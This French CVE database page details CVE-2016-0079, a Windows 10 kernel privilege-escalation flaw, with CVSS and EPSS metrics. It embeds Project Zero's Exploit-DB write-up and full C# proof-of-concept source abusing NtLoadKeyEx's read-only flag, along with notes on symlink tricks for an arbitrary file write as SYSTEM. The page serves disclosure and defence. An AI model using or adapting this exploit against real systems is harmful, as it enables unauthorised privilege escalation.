CVE-2016-0079 : Détail

CVE-2016-0079

5
/
Moyen
A01-Broken Access Control
3.04%V4
Local
2016-10-13
23h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The kernel in Microsoft Windows 10 Gold, 1511, and 1607 allows local users to gain privileges via a crafted application that makes an API call to access sensitive information in the registry, aka "Windows Kernel Local Elevation of Privilege Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 40608

Date de publication : 2016-10-19 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=871 Windows: NtLoadKeyEx Read Only Hive Arbitrary File Write EoP Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7 Class: Elevation of Privilege Summary: NtLoadKeyEx takes a flag to open a registry hive read only, if one of the hive files cannot be opened for read access it will revert to write mode and also impersonate the calling process. This can leading to EoP if a user controlled hive is opened in a system service. Description: One of the flags to NtLoadKeyEx is to open a registry hive with read only access. When this flag is passed the main hive file is opened for Read only, and no log files are opened or created. However there’s a bug in the kernel function CmpCmdHiveOpen, initially it calls CmpInitHiveFromFile passing flag 1 in the second parameter which means open read-only. However if this fails with a number of error codes, including STATUS_ACCESS_DENIED it will recall the initialization function while impersonating the calling process, but it forgets to pass the read only flag. This means if the initial access fails, it will instead open the hive in write mode which will create the log files etc. An example where this is used is in the WinRT COM activation routines of RPCSS. The GetPrivateHiveKeyFromPackageFullName method explicitly calls NtLoadKeyEx with the read only flag (rather than calling RegLoadAppKey which will not). As this is opening a user ActivationStore.dat hive inside the AppData\Local\Packages directory in the user’s profile it’s possible to play tricks with symbolic links to cause the opening of the hive inside the DCOM service to fail as the normal user then write the log files out as SYSTEM (as it calls RtlImpersonateSelfEx). This is made all the worse because of the behaviour of the file creation routines. When the log files are being created the kernel copies the DACL from the main hive file to the new log files. This means that although we don’t really control the log file contents we can redirect the write to an arbitrary location (and using symlink tricks ensure the name is suitable) then reopen the file as it has an explicit DACL copied from the main hive we control and we can change the file’s contents to whatever you like. Proof of Concept: I’ve provided a PoC as a C# source code file. You need to compile it first targetted .NET 4 and above. I’ve verified you can exploit RPCSS manually, however without substantial RE it wouldn’t be a very reliable PoC, so instead I’ve just provided an example file you can fun as a normal user. This will impersonate the anonymous token while opening the hive (which in reality would be DACL’ed to block the user from opening for read access) and we verify that the log files are created. 1) Compile the C# source code file. 2) Execute the PoC executable as a normal user. 3) The PoC should print that it successfully opened the hive in write mode. Expected Result: The hive fails to open, or at least only opens in read-only mode. Observed Result: The hive is opened in write mode incorrectly which can be abused to elevate privileges. */ using Microsoft.Win32; using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; using System.Threading; namespace PoC_NtLoadKeyEx_ReadOnlyFlag_EoP { class Program { [Flags] public enum AttributeFlags : uint { None = 0, Inherit = 0x00000002, Permanent = 0x00000010, Exclusive = 0x00000020, CaseInsensitive = 0x00000040, OpenIf = 0x00000080, OpenLink = 0x00000100, KernelHandle = 0x00000200, ForceAccessCheck = 0x00000400, IgnoreImpersonatedDevicemap = 0x00000800, DontReparse = 0x00001000, } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class UnicodeString { ushort Length; ushort MaximumLength; [MarshalAs(UnmanagedType.LPWStr)] string Buffer; public UnicodeString(string str) { Length = (ushort)(str.Length * 2); MaximumLength = (ushort)((str.Length * 2) + 1); Buffer = str; } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class ObjectAttributes : IDisposable { int Length; IntPtr RootDirectory; IntPtr ObjectName; AttributeFlags Attributes; IntPtr SecurityDescriptor; IntPtr SecurityQualityOfService; private static IntPtr AllocStruct(object s) { int size = Marshal.SizeOf(s); IntPtr ret = Marshal.AllocHGlobal(size); Marshal.StructureToPtr(s, ret, false); return ret; } private static void FreeStruct(ref IntPtr p, Type struct_type) { Marshal.DestroyStructure(p, struct_type); Marshal.FreeHGlobal(p); p = IntPtr.Zero; } public ObjectAttributes(string object_name) { Length = Marshal.SizeOf(this); if (object_name != null) { ObjectName = AllocStruct(new UnicodeString(object_name)); } Attributes = AttributeFlags.None; } public void Dispose() { if (ObjectName != IntPtr.Zero) { FreeStruct(ref ObjectName, typeof(UnicodeString)); } GC.SuppressFinalize(this); } ~ObjectAttributes() { Dispose(); } } [Flags] public enum LoadKeyFlags { None = 0, AppKey = 0x10, Exclusive = 0x20, Unknown800 = 0x800, ReadOnly = 0x2000, } [Flags] public enum GenericAccessRights : uint { None = 0, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } public class NtException : ExternalException { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr GetModuleHandle(string modulename); [Flags] enum FormatFlags { AllocateBuffer = 0x00000100, FromHModule = 0x00000800, FromSystem = 0x00001000, IgnoreInserts = 0x00000200 } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int FormatMessage( FormatFlags dwFlags, IntPtr lpSource, int dwMessageId, int dwLanguageId, out IntPtr lpBuffer, int nSize, IntPtr Arguments ); [DllImport("kernel32.dll")] private static extern IntPtr LocalFree(IntPtr p); private static string StatusToString(int status) { IntPtr buffer = IntPtr.Zero; try { if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts, GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0) { return Marshal.PtrToStringUni(buffer); } } finally { if (buffer != IntPtr.Zero) { LocalFree(buffer); } } return String.Format("Unknown Error: 0x{0:X08}", status); } public NtException(int status) : base(StatusToString(status)) { } } public static void StatusToNtException(int status) { if (status < 0) { throw new NtException(status); } } [DllImport("Advapi32.dll")] static extern bool ImpersonateAnonymousToken( IntPtr ThreadHandle); [DllImport("Advapi32.dll")] static extern bool RevertToSelf(); [DllImport("ntdll.dll")] public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags, IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused); static RegistryKey LoadKey(string path, bool read_only) { string reg_name = @"\Registry\A\" + Guid.NewGuid().ToString("B"); ObjectAttributes KeyName = new ObjectAttributes(reg_name); ObjectAttributes FileName = new ObjectAttributes(@"\??\" + path); SafeRegistryHandle keyHandle; LoadKeyFlags flags = LoadKeyFlags.AppKey; if (read_only) flags |= LoadKeyFlags.ReadOnly; int status = NtLoadKeyEx(KeyName, FileName, flags, IntPtr.Zero, IntPtr.Zero, GenericAccessRights.GenericRead, out keyHandle, 0); if (status != 0) return null; return RegistryKey.FromHandle(keyHandle); } static bool CheckForLogs(string path) { return File.Exists(path + ".LOG1") || File.Exists(path + ".LOG2"); } static void DoExploit() { string path = Path.GetFullPath("dummy.hiv"); RegistryKey key = LoadKey(path, false); if (key == null) { throw new Exception("Something went wrong, couldn't create dummy hive"); } key.Close(); // Ensure the log files are deleted. File.Delete(path + ".LOG1"); File.Delete(path + ".LOG2"); if (CheckForLogs(path)) { throw new Exception("Couldn't delete log files"); } key = LoadKey(path, true); if (key == null || CheckForLogs(path)) { throw new Exception("Didn't open hive readonly"); } key.Close(); ImpersonateAnonymousToken(new IntPtr(-2)); key = LoadKey(path, true); RevertToSelf(); if (!CheckForLogs(path)) { throw new Exception("Log files not recreated"); } Console.WriteLine("[SUCCESS]: Read Only Hive Opened with Write Access"); } static void Main(string[] args) { try { DoExploit(); } catch (Exception ex) { Console.WriteLine("[ERROR]: {0}", ex.Message); } } } }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Références

http://www.securityfocus.com/bid/93357
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/40608/
Tags : exploit, x_refsource_EXPLOIT-DB